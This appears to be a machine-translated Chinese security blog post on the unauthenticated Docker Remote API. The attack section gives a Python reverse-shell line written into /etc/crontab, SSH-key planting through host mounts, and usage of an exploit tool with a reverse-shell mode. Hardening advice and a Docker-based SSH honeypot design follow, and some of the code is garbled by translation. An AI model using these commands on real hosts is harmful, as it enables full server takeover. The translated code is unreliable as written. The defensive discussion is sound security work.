Docker Remote api在安全中的应用杂谈

注:本文为“小米安全中心”原创,作者: netxfly  ,转载请联系“小米安全中心” 概述 众所周知,Docker daemon默认是监听在unix socket上的,如unix:///var/ru…

注:本文为“小米安全中心”原作者:netxfly  转载请联系“小米安全中心” 概述 众所周知,Docker守护进程默认侦听unix套接字,例如unix: ///var/run/docker.sock。 该官员还提供了一个Rustful api接口,允许通过TCP远程访问Docker。例如,执行以下启动参数允许docker在所有本地地址上侦听端口2375: Dockerd -H=0.0.0.0: 2375 -H unix: ///var/run/docker.sock 然后,您可以使用docker客户端或任何http客户端远程访问它: $ curlhttp://10.10.10.10: 2375/containers/json [] Docker -H=tcp: //10.10.10.10: 2375 ps     容器ID    图像       命令      创建      状态       端口       名称 但是在没有任何访问控制的情况下启用此Docker远程API服务非常危险,攻击者可以在发现后轻松获取整个服务器的权限。 攻击方法 Docker远程Api未经授权访问的攻击原理类似于之前的Redis未授权访问漏洞。它是通过将文件写入运行应用程序的服务器获得的,常用用法如下。 1.启动容器,挂载主机的/root /目录,然后将攻击者的ssh公钥〜/.ssh/id_rsa.pub的内容写入主机的/root/.ssh/authorized_keys文件。然后,您可以直接使用root帐户登录。 2,启动一个容器,挂载主机的/etc /目录,然后将shell shell脚本写入/etc/crontab,攻击者将获得一个反弹shell,其弹跳shell脚本如: Echo -e'*/1 * * * * root/usr/bin/python -c'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\' 127.0.0.1 \”,8088)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\'/bin/sh \',\' - i \']);'\ n'>>/etc/crontab中 第二种使用方法也可以挂载var/spool/cron /目录,并将跳出shell的脚本写入/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root( ubuntu)系统)   互联网上有很多手动方法,所以我不会说太多。作者直接给出了自动化利用工具的go语言版本。 github地址是:https://github.com/netxfly/docker-remote-api-exp,用法如下: $ ./remote_api_exp 使用./remote_api_exp:   -pubkey string      id_rsa.pub文件(默认为'/root/.ssh/id_rsa.pub')   -reverse string     反向地址,6.6.6.6: 8888   -target string      target ip,1.1.1.1: 2375   -type字符串     类型,如check,root,shell(默认'check')   -version字符串      Docker版本:      ---------------------------      Docker版本  API版本      ---------------------------      1.12.x      1.24      1.11.x      1.23      1.10.x      1.22      1.9.x      1.21      1.8.x      1.20      1.7.x      1.19      1.6.x      1.18 (默认为'1.12') 参数说明   1,/remote_api_exp -type=root -target=ip: 2375 -version=1.12.3,在/root/.ssh/authorized_keys中写入攻击者的ssh公钥 2,/remote_api_exp -type=check -target=ip: 2375,获取服务器信息,如操作系统,机器名,远程api版本和docker安装位置等。 3,/remote_api_exp -type=shell -target=ip: 2375 -version=1.12.3 -reverse=attackerIp: 8888,给攻击者一个shell     使用示例 1.以root身份登录

  2.获得反弹的外壳

  也许有些运营商认为这是因为监控器位于外部网络上,因此攻击者有机会进行攻击。如果我不监控外部网络,则不存在安全风险。实际上,内部网络存在以下安全风险: 外部网络攻击者可以通过WEB应用程序的SSRF漏洞间接攻击内部网络中未经授权的Docker远程api服务; 方便已经进入内网的攻击者扩大攻击范围; 它可能会受到内部别有用心的人的攻击,然后窃取敏感数据。 安全加固 如果没有必要,请不要启用docker的远程api服务。如果必须使用它,可以使用以下强化方法: 1,设置ACL,只允许可信源IP连接; 2,设置TLS认证,官方文件是Protect the Docker守护进程套接字 生成客户端 - 服务器通信证书后,可以使用以下命令启动docker守护程序: Docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp: //10.10.10.10: 2375 -H unix: ///VAR /运行/docker.sock 客户端连接时,需要设置以下环境变量export DOCKER_TLS_VERIFY=1。 导出DOCKER_CERT_PATH=〜/.docker 导出DOCKER_HOST=tcp: //10.10.10.10: 2375 导出DOCKER_API_VERSION=1.12 安全建设 上面,我们回顾了docker远程api未授权访问认证的安全风险和使用方法。接下来,我们切换到安全构建的角度,使用docker remote api构建了一个具有自动弹性可伸缩性的ssh honeypot系统。 有许多安全从业者使用docker作为蜜罐的沙箱,但是存在一个常见问题:所有攻击者都连接到同一个沙箱,并且它们通常被放置在外部网络的沙箱中。攻击者可能在同一时间段内进入,他们可能会看到彼此的行为,以便通过蜜罐查看或干扰我们对日志的单独分析。 我们的愿景是允许所有攻击者使用独立的沙箱。当您来时,您将自动为您打开一个全新的沙箱,然后静默记录您的操作行为。离开后,您将自动销毁沙箱并预留资源以接收其他即将到来的黑客兄弟。 架构说明

  该系统由Agent和Docker服务器组成。 docker服务器需要打开docker远程api服务。   代理可以部署在多个不同的节点上。通过检测本地ssh日志,确定是否存在破解行为。如果存在破解密码行为且超过3次,则将通过远程api接口在docker服务器中启动新容器。然后攻击者的流量被转发到此容器。   Agent运行的效果如下:

然后在docker服务器上,您可以通过ps命令查看新创建的ssh honeypot沙箱,如下所示:

具体实现 该系统由go语言实现,可以编译成单独的二进制文件。部署时,将二进制文件直接上传到相应的服务器并运行它。 程序启动时将加载配置文件。配置文件选项如下:

配置参数说明: 1,DOCKER_HOST是Docker服务器的IP 2,DOCKER_API是Docker远程api的地址 3,API_VERSION是Docker远程api的版本号 4,DOCKER_CERT是Docker的客户端证书 5,INTERFACE是为代理部署蜜罐的NIC的名称。 6,WHITE_IPLIST是白名单,无法防御这些源IP 7,MAX_HONEYPOTS,表示允许在Docker服务器中启动的最大容器数 8,sshd_log是Agent中本地openssh的日志目录(默认为/var/log) 配置文件处理的代码如下:

Cache是一个map [string] * cache.Cache,它维护每个容器的状态,例如攻击者的IP,攻击者的数量和超时时间。 主程序的代码如下: 包主 进口( 'XSEC-SSH-蜜罐/设置' 'XSEC-SSH-蜜罐/util的' ) Func main(){ 去util.MonitorLog(settings.SshLog) util.Schedule(30) } 1,util.MonitorLog协程将监视代理的ssh日志并检测是否存在密码破解行为。 2,util.Schedule是一个常规任务,这里每30秒执行一次,每次完成以下任务: 1,刷新攻击流量传输策略 2,检查是否有超时攻击者的容器,如果关闭,则释放资源   MonitorLog的代码如下:

  如果有新的ssh日志,它将由CheckSSH(logContent * tail.Line)函数处理。 CheckSSH(logContent * tail.Line)配置文件的代码如下:

该程序将在设置中保存每个攻击者的源IP。全局变量中的缓存,攻击次数和超时时间。如果攻击次数大于3,将为攻击者打开一个新容器,攻击者的流量将来自代理。直接转移到后端新打开的ssh honeypot。 攻击者到后端密码的流量是通过iptables实现的,有些代码如下所示:

[注:本文为“小米安全中心”原作者:netxfly  小米安全中心安全脉冲结算账号发布]